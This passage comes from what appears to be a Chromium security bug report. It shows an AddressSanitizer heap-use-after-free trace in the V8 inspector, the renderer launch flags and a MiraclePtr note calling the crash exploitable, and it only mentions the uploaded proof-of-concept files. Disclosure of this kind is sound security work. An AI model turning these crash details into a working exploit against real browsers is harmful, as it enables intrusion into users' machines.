    #19 0x0003043b141c in v8::Function::Call(v8::Isolate*, v8::Local<v8::Context>, v8::Local<v8::Value>, int, v8::Local<v8::Value>*)+0x3a0 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x43b141c)
    #20 0x00031c8e5f78 in blink::V8ScriptRunner::CallFunction(v8::Local<v8::Function>, blink::ExecutionContext*, v8::Local<v8::Value>, int, v8::Local<v8::Value>*, v8::Isolate*)+0x590 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x1c8e5f78)
    #21 0x000321221b38 in blink::bindings::CallbackInvokeHelper<blink::CallbackFunctionBase, (blink::bindings::CallbackInvokeHelperMode)0, (blink::bindings::CallbackReturnTypeIsPromise)0>::Call(int, v8::Local<v8::Value>*)+0x210 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x21221b38)
    #22 0x0003212365c8 in blink::V8Function::Invoke(blink::bindings::V8ValueOrScriptWrappableAdapter, blink::BasicHeapVector<(blink::internal::HeapCollectionType)1, blink::ScriptValue, 0u> const&)+0x534 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x212365c8)
    #23 0x000321236d58 in blink::V8Function::InvokeAndReportException(blink::bindings::V8ValueOrScriptWrappableAdapter, blink::BasicHeapVector<(blink::internal::HeapCollectionType)1, blink::ScriptValue, 0u> const&)+0x184 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x21236d58)
    #24 0x0003221f2530 in blink::ScheduledAction::Execute(blink::ExecutionContext*)+0x45c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x221f2530)
    #25 0x0003221f7b28 in blink::DOMTimer::Fired()+0x500 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x221f7b28)
    #26 0x00032044613c in blink::TimerBase::RunInternal()+0xb0 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x2044613c)
    #27 0x00031c85c040 in base::internal::Invoker<base::internal::FunctorTraits<void (blink::TimerBase::*&&)(), blink::TimerBase*>, base::internal::BindState<true, true, false, void (blink::TimerBase::*)(), blink::UnretainedWrapper<blink::TimerBase>>, void ()>::RunOnce(base::internal::BindStateBase*)+0x11c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x1c85c040)
    #28 0x000312cc483c in base::TaskAnnotator::RunTaskImpl(base::PendingTask&)+0x348 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x12cc483c)
    #29 0x000312d2c508 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*)+0x88c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x12d2c508)

SUMMARY: AddressSanitizer: heap-use-after-free (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x671716c) in v8_inspector::InjectedScript::wrapObjectMirror(v8_inspector::ValueMirror const&, v8_inspector::String16 const&, v8_inspector::WrapOptions const&, v8::MaybeLocal<v8::Value>, int, std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::RemoteObject, std::__Cr::default_delete<v8_inspector::protocol::Runtime::RemoteObject>>*)+0xbfc
Shadow bytes around the buggy address:
  0x6110000e9680: 00 00 00 00 00 00 00 00 00 04 fa fa fa fa fa fa
  0x6110000e9700: fa fa fa fa fa fa f7 fa fd fd fd fd fd fd fd fd
  0x6110000e9780: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x6110000e9800: fd fd fa fa fa fa fa fa fa fa fa fa fa fa f7 fa
  0x6110000e9880: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x6110000e9900: fd fd fd fd fd fd fd fd fd[fd]fa fa fa fa fa fa
  0x6110000e9980: fa fa fa fa fa fa f7 fa fd fd fd fd fd fd fd fd
  0x6110000e9a00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x6110000e9a80: fd fd fd fd fd fd fd fd fa fa fa fa fa fa f7 fa
  0x6110000e9b00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x6110000e9b80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb

==7173==ADDITIONAL INFO

==7173==Note: Please include this section with the ASan report.
Task trace:
    #0 0x0003160de6cc in IPC::ChannelAssociatedGroupController::Accept(mojo::Message*)+0x7c4 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x160de6cc)


Command line: `/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Helpers/Chromium Helper (Renderer).app/Contents/MacOS/Chromium Helper (Renderer) --type=renderer --user-data-dir=/tmp/chrome-asan --no-sandbox --file-url-path-alias=/gen=/Users/alisa/Documents/Code/googlestuff/chrome-asan/gen --js-flags=--expose-gc --allow-natives-syntax --enable-blink-features=MojoJS,MojoJSTest --lang=en-US --num-raster-threads=4 --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources --enable-main-frame-before-activation --renderer-client-id=67 --time-ticks-at-unix-epoch=-1775925858331855 --launch-time-ticks=488648505843 --shared-files --metrics-shmem-handle=1752395122,r,13200767321502020156,8087822750979582627,2097152 --field-trial-handle=1718379636,r,11048359909989359910,6745670114945284298,262144 --enable-features=WebMachineLearningNeuralNetwork,WebNNCoreMLExplicitGPUOrNPU --disable-features=WebNNCoreML --variations-seed-version --pseudonymization-salt-handle=1935764596,r,13434608299011006442,11257493517387136236,4 --trace-process-track-uuid=3190709049093675377 --enable-logging=stderr --v=1`


MiraclePtr Status: NOT PROTECTED
No raw_ptr<T> access to this region was detected prior to this crash.
This crash is still exploitable with MiraclePtr.
Refer to https://chromium.googlesource.com/chromium/src/+/main/base/memory/raw_ptr.md for details.

==7173==END OF ADDITIONAL INFO

==7173==ABORTING

CREDIT INFORMATION Externally reported security bugs may appear in Chrome release notes. If this bug is included, how would you like to be credited?
Reporter credit: Alisa Esage (@alisaesage)

View on issue tracker
Uploaded PoC files
Links in the report